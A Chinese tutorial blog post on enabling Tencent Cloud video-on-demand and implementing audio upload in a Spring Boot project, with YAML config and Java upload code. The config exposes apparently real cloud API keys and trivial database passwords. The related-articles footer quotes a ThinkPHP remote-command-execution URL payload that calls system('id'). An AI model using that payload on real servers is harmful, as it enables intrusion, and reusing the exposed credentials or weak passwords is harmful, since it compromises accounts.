腾讯云点播及声音上传

文章目录

  • 1、开通腾讯云点播
  • 2、获取腾讯云API密钥
  • 3、完成声音上传
    • 3.1、引入依赖
    • 3.2、参考:接入点地域
    • 3.3、参考:任务流设置
    • 3.4、首先修改配置:
      • 3.4.1、
    • 3.5、TrackInfoApiController --》 uploadTrack()
    • 3.6、VodServiceImpl --》 uploadTrack()
      • 3.6.1、UploadFileUtil

云点播(Video on Demand,VOD)面向音视频、图片等媒体,提供制作上传、存储、转码、媒体处理、媒体 AI、加速分发播放、版权保护等一体化高品质媒体服务。

需要开通腾讯云服务:https://cloud.tencent.com/

快速介入流程:云点播 快速入门-文档中心-腾讯云 (tencent.com)

1、开通腾讯云点播

开通主要包括以下几个主要步骤:

  1. 微信扫描快速注册(也有其他注册方式):https://cloud.tencent.com/register

  2. 扫描授权完成之后,“立即实名认证” --> “个人实名认证”,按照提示完成认证过程。

  3. 开通云点播服务:https://console.cloud.tencent.com/vod/register

    同意授权并开通

VOD 的英文全称是 Video On Demand,即视频点播技术,也称为交互式电视点播系统。
这是一种全新的信息服务方式,集计算机技术、网络技术、多媒体技术于一身,
解决了传统电视受时空限制的束缚,用户可以根据自己的需求选择观看的节目和观看时间。

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

2、获取腾讯云API密钥

上传视频需要使用到开发者的 API 密钥(即 SecretId 和 SecretKey)

点击右上角用户下拉菜单中的“访问管理” --> 访问密钥 --> API密钥管理
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
一路下一步,即可完成创建,最终出现如下页面:
在这里插入图片描述
一定要把SecretId和SecretKey记录下来。

主账号ID:主应用ID
用户名:
登录密码:
SecretId:
SecretKey:

3、完成声音上传

在这里插入图片描述

在这里插入图片描述

云点播 Java SDK-开发指南-文档中心-腾讯云:https://cloud.tencent.com/document/product/266/10276

3.1、引入依赖

在这里插入图片描述

3.2、参考:接入点地域

上传存储设置 - 云点播 - 控制台:https://console.cloud.tencent.com/vod/upload-storage
在这里插入图片描述
在这里插入图片描述
云点播 媒体上传综述-开发指南-文档中心-腾讯云:https://cloud.tencent.com/document/product/266/9760
在这里插入图片描述
本产品所有接口 Region 字段的可选值如下表所示:

地域取值
亚太东南(曼谷)ap-bangkok
华北地区(北京)ap-beijing
西南地区(成都)ap-chengdu
西南地区(重庆)ap-chongqing
华南地区(广州)ap-guangzhou
港澳台地区(中国香港)ap-hongkong
亚太东南(雅加达)ap-jakarta
亚太南部(孟买)ap-mumbai
亚太东北(首尔)ap-seoul
华东地区(上海)ap-shanghai
华东地区(上海金融)ap-shanghai-fsi
华南地区(深圳金融)ap-shenzhen-fsi
亚太东南(新加坡)ap-singapore
亚太东北(东京)ap-tokyo
欧洲地区(法兰克福)eu-frankfurt
美国东部(弗吉尼亚)na-ashburn
美国西部(硅谷)na-siliconvalley
北美地区(多伦多)na-toronto
南美地区(圣保罗)sa-saopaulo

3.3、参考:任务流设置

文档说明:https://cloud.tencent.com/document/product/266/33819
在这里插入图片描述
预置任务流:

云点播服务为用户提供5条预置的任务流,该任务流包含了自适应码流任务、截图任务(雪碧图任务)、截取封面图任务,其中详细参数如下:

任务流名称任务类型任务模板/ID
LongVideoPreset转自适应码流Adpative-HLS(10)
截图SpriteScreenshot(10)
截取封面TimepointScreenshot(10)
SimpleAesEncryptPreset转自适应码流Adpative-HLS-Encrypt(12)
截图SpriteScreenshot(10)
截取封面TimepointScreenshot(10)
WidevineFairPlayPrese转自适应码流Adpative-HLS-FairPlay(11)
Adpative-HLS-Widevine(13)
截图SpriteScreenshot(10)
截取封面TimepointScreenshot(10)
SDMC-WidevineFairPlayPreset转自适应码流SDMC-Adpative-HLS-FairPlay(31)
SDMC-Adpative-DASH-Widevine(41)
截图SpriteScreenshot(10)
截取封面TimepointScreenshot(10)
MultiDRMPreset转自适应码流Adpative-HLS-EncryptBase(14)
Adpative-HLS-Widevine(13)
Adpative-HLS-FairPlay(11)
截图SpriteScreenshot(10)
截取封面TimepointScreenshot(10)

任务流仅支持选择配置好的模板。

3.4、首先修改配置:

在这里插入图片描述

3.4.1、

server:port: 8501
mybatis-plus:configuration:log-impl: org.apache.ibatis.logging.stdout.StdOutImpl # 查看日志
feign:sentinel:enabled: true
spring:main:allow-bean-definition-overriding: true #当遇到同样名字的时候,是否允许覆盖注册cloud:sentinel:transport:dashboard: 192.168.74.148:8858openfeign:lazy-attributes-resolution: true #开启懒加载,否则启动报错client:config:default:connectTimeout: 30000readTimeout: 30000loggerLevel: basicdata:redis:host: 192.168.74.148port: 6379database: 0timeout: 1800000password: 123456jedis:pool:max-active: 20 #最大连接数max-wait: -1    #最大阻塞等待时间(负数表示没限制)max-idle: 5    #最大空闲min-idle: 0     #最小空闲kafka:bootstrap-servers: 192.168.74.148:9092producer:retries: 3  #设置大于0的值,则客户端会将发送失败的记录重新发送acks: allbatch-size: 16384buffer-memory: 33554432key-serializer: org.apache.kafka.common.serialization.StringSerializervalue-serializer: org.apache.kafka.common.serialization.StringSerializerconsumer:group-id: service-albumenable-auto-commit: trueauto-offset-reset: earliestkey-deserializer: org.apache.kafka.common.serialization.StringDeserializervalue-deserializer: org.apache.kafka.common.serialization.StringDeserializerdatasource:type: com.zaxxer.hikari.HikariDataSourcedriver-class-name: com.mysql.cj.jdbc.Driverurl: jdbc:mysql://192.168.74.148:3306/tingshu_album?serverTimezone=UTC&characterEncoding=utf8&useUnicode=true&useSSL=trueusername: rootpassword: 123456hikari:connection-test-query: SELECT 1connection-timeout: 60000idle-timeout: 500000max-lifetime: 540000maximum-pool-size: 10minimum-idle: 5pool-name: GuliHikariPooljackson:date-format: yyyy-MM-dd HH:mm:sstime-zone: GMT+8servlet:multipart:max-file-size: 10MB     #单个文件最大限制max-request-size: 20MB  #多个文件最大限制
minio:endpointUrl: http://192.168.74.148:9000accessKey: adminsecretKey: admin123456bucketName: sph
vod:appId: 1320762610secretId: AKIDlUNRjBb8dFoRCtUE7ykVLB7CHVq9avKksecretKey: Wr23xx0w1GbsBazVyUuDYr5Mbp29IVerregion: ap-shanghaiprocedure: SimpleAesEncryptPreset #任务流tempPath: D:\\project-1108\\tempPathplayKey: wrTwwu8U3DRSRDgC8l7q  #播放加密key

3.5、TrackInfoApiController --》 uploadTrack()

@Tag(name = "声音管理")
@RestController
@RequestMapping("api/album/trackInfo")
@SuppressWarnings({"unchecked", "rawtypes"})
public class TrackInfoApiController {@PostMapping("uploadTrack")public Result<Map<String, Object>> uploadTrack(MultipartFile file){Map<String, Object> map = this.vodService.uploadTrack(file);return Result.ok(map);}
}

3.6、VodServiceImpl --》 uploadTrack()

在这里插入图片描述

3.6.1、UploadFileUtil

package com.atguigu.tingshu.common.util;import lombok.SneakyThrows;
import org.joda.time.DateTime;
import org.springframework.web.multipart.MultipartFile;import java.io.File;public class UploadFileUtil {/*** 文件上传到临时路径* @param file* @return*/@SneakyThrowspublic static String uploadTempPath(String tempPath, MultipartFile file) {if (null == file) return "";String date = new DateTime().toString("yyyyMMdd");String filePath = tempPath + File.separator + date;File curFlie = new File(filePath);if (!curFlie.exists()) {curFlie.mkdirs();}filePath = filePath + File.separator + file.getOriginalFilename();file.transferTo(new File(filePath));return filePath;}}
@Service
public class VodServiceImpl implements VodService {@Autowiredprivate VodConstantProperties vodConstantProperties;@Overridepublic Map<String, Object> uploadTrack(MultipartFile file) {// 初始化一个上传客户端对象VodUploadClient client = new VodUploadClient(vodConstantProperties.getSecretId(), vodConstantProperties.getSecretKey());// 构造上传请求对象VodUploadRequest request = new VodUploadRequest();String tempPath = UploadFileUtil.uploadTempPath(vodConstantProperties.getTempPath(), file);request.setMediaFilePath(tempPath);// 调用上传try {VodUploadResponse response = client.upload(vodConstantProperties.getRegion(), request);Map<String, Object> map = new HashMap<>();map.put("mediaUrl", response.getMediaUrl());map.put("mediaFileId", response.getFileId());System.out.println(map);return map;} catch (Exception e) {// 业务方进行异常处理e.printStackTrace();}return null;}
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/148793.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

计算存款利息-C语言

1.问题&#xff1a; 假设有本金1000元&#xff0c;想存一年&#xff0c;有三种方法可选择&#xff1a; A活期&#xff0c;年利率为0.0036&#xff1b; B一年期定期&#xff0c;年利率为0.0225&#xff1b; C存两次半年定期&#xff0c;年利率为0.0198。 请分别计算出一年后…

帮13岁小孩哥2分钟完成开发,这位AI程序员究竟是何方神圣?

通义灵码再升级&#xff0c;真AI程序员来了 随着通义系列基础模型能力的全面提升&#xff0c;各个具体领域的应用模型也随之飞升。这次在云栖大会上迎来重磅升级的&#xff0c;就包括用于代码生成的通义灵码。 一年前的通义灵码还只能完成基础的辅助编程任务&#xff0c;很难…

加快软件项目开发进度的6大技巧

加快软件项目的开发进度对于项目的成功与市场竞争力的提升至关重要。此举能够迅速响应市场变化&#xff0c;抢占市场先机&#xff0c;增强竞争力&#xff0c;同时降低开发成本&#xff0c;提升用户满意度。因此&#xff0c;加速开发是确保项目成功与市场竞争力的核心要素。若未…

捷途旅行者8月燃油SUV销量夺冠,遥遥领先!

2023年9月&#xff0c;捷途旅行者这款国内首款旅行越野SUV&#xff0c;如同一匹黑马般闯入国内汽车市场&#xff0c;凭借其方正硬朗的造型与13.99万元的亲民起售价&#xff0c;迅速点燃了消费者的购车热情。时隔一年&#xff0c;这款车的魅力依旧不减&#xff0c;2024年8月的销…

利用Leaflet.js集成强大的船舶管理页面:集成标记/路线/区域绘制和动态显隐功能

引言 在船舶管理领域&#xff0c;地理信息系统&#xff08;GIS&#xff09;技术的应用日益广泛。通过GIS技术&#xff0c;管理人员可以实时监控船舶的位置、航线以及与其他重要地理位置的关系。Leaflet.js作为一个轻量级但功能强大的前端地图框架&#xff0c;使得在Web页面上集…

如何用AI论文生成工具撰写一篇高质量的成人教育毕业论文

撰写一篇高质量的成人教育毕业论文并不简单&#xff0c;它有一定的步骤和策略。锐智AI今天就总结了一些关键的步骤&#xff0c;希望对即将毕业的你顺利完成论文写作&#xff1a; 介绍之前简单说下锐智AI&#xff0c;它是一款集论文大纲生成、内容填充、文献引用、查重修改于一…

Microsoft Edge WebView2运行时安装包获取

目前越来越多的软件将WebView2当做运行时&#xff0c;发现一些精简版的系统精简掉了WebView2或者人为误删除&#xff0c;一些软件无法正常运行&#xff0c;我们可以重新安装即可 浏览器访问WebView2官方页面 https://developer.microsoft.com/zh-cn/microsoft-edge/webview2/ …

头戴式耳机百元以内都有哪些推荐?头戴式耳机百元测评推荐

今天跟大家聊一聊头戴式耳机&#xff0c;无论是沉浸在游戏的世界中&#xff0c;还是专注于观看视频课程汲取知识&#xff0c;它都能为我们带来清晰、震撼的音质体验。对程序员来说&#xff0c;在嘈杂的工作环境中&#xff08;比如机房里&#xff09;&#xff0c;它的降噪功能显…

CVE-2024-44902 Thinkphp反序列化漏洞

Thinkphp v6.1.3至v8.0.4版本中存在反序列化漏洞&#xff0c;攻击者可利用此漏洞执行任意代码。 影响版本 v6.1.3 < thinkphp < v8.0.4 环境搭建 环境&#xff1a;php8.0.2thinkphp8.0.4memcached3.2.0 首先搭建 thinkphp 环境&#xff1a;thinkPHP 8.0.4 安装_thin…

02 BlockChain-- ETH

以太坊与比特币有什么不同&#xff1f; 以太坊立足比特币创新之上&#xff0c;于 2015 年启动&#xff0c;两者之间有一些显著不同。 从宏观的方面&#xff1a; 比特币就仅仅是比特币&#xff1b;以太坊&#xff08;Ethereum&#xff09;包括以太币&#xff08;Ether&#x…

Python可迭代对象(2)

目录 3。字典 字典的构造 字典的添加和修改 字典推导式的使用 以上全部代码编译结果展示 字典复习 4。集合(set) 集合的创建 集合的运算 集合的添加和删除元素 以上全部代码的编译结果 序列解包&#xff08;Sequence unpacking&#xff09; 3。字典 字典的构造 #字…

【第十六章:Sentosa_DSML社区版-机器学习之生存分析】

【第十六章&#xff1a;Sentosa_DSML社区版-机器学习之生存分析】 16.1 加速失效时间回归 1.算子介绍 加速失效时间回归模型Accelerated failure time (AFT)是一个监督型参数化的回归模型&#xff0c;它可以处理删失数据。它描述了一个生存时间的对数模型&#xff0c;所以它通…

Pygame中Sprite实现逃亡游戏1

在《Pygame中Sprite类实现多帧动画》系列中&#xff0c;通过pygame中的sprite类&#xff08;精灵类&#xff09;实现了多帧动画。在该动画的基础上&#xff0c;可以来实现一个逃亡游戏&#xff0c;如图1所示。 图1 逃亡游戏效果 从图1中可以看出&#xff0c;玩家被飞龙追赶&am…

【树莓派】python3程序获取CPU和GPU温度

前言代码以及展示总结 前言 来来来&#xff0c;先放参考文献 如何检查树莓派的温度⇨这个是通过两种指令获取温度&#xff0c;和我之前设置的状态栏显示有点大同小异。 读取树莓派4B处理器(CPU)的实时温度⇨这个也是指令 下面两个是代码了 树莓派实现温度监控并控制风扇散热 获…

powerBi -L4-分组求和

有如下的表格&#xff1a;我们想统计 不同商品的销售次数&#xff0c;根据商品ID进行分类&#xff0c;统计不同ID出现的次数 1.新建列&#xff1a; 2.输入如下的公式 分组统计序列 COUNTROWS(FILTER(数据源,[商品类别]EARLIER(数据源[商品类别])&&[索引]<EARLIE…

3.2 USART 通用同步/异步收发器

文章目录 什么是USARTUSART框图 stm32的Usart串口收发配置初始化发送接收 重定向的几种方法串口发送数据包 什么是USART USART&#xff08;Universal Synchronous/Asynchronous Receiver/Transmitter&#xff09;通用同步/异步收发器USART是STM32内部集成的硬件外设&#xff0…

李沐 模型选择、过拟合和欠拟合相关代码【动手学深度学习v2】

多项式回归 生成数据集 给定x,我们将使用以下三阶多项式来生成训练和测试数据的标签: y=5+1.2x−3.4+5.6+ϵ where ϵ∼( ). 噪声项ϵ服从均值为0且标准差为0.1的正态分布。 在优化

深入了解通用漏洞评分系统(CVSS)

1. 前言 在当今数字化的时代&#xff0c;网络安全问题日益凸显&#xff0c;漏洞的发现和评估成为保障系统安全的关键环节。而通用漏洞评分系统&#xff08;CVSS&#xff09;作为一种广泛应用的漏洞评估标准&#xff0c;对于准确衡量漏洞的严重程度起着至关重要的作用。本文将带…

视频无损压缩工具+预览视频生成工具

视频无损压缩工具 功能与作用 &#xff1a;视频无损压缩工具是一种能够减少视频文件大小&#xff0c;但同时保持视频质量的工具。它通过先进的编码技术和算法&#xff0c;有效降低视频文件的存储空间&#xff0c;同时保证视频的清晰度和观感。这对于需要分享或存储大量视频内容…

Thinkphp5x远程命令执⾏及getshell

启动环境查看端口 ? sindex/think\app/invokefunction&functioncall_user_func_array&vars[0]system&vars[1] []id ? s/Index/\think\app/invokefunction&functioncall_user_func_array&vars[0]phpinfo&vars[ 1][]-1 ? sindex/think\app/invokef…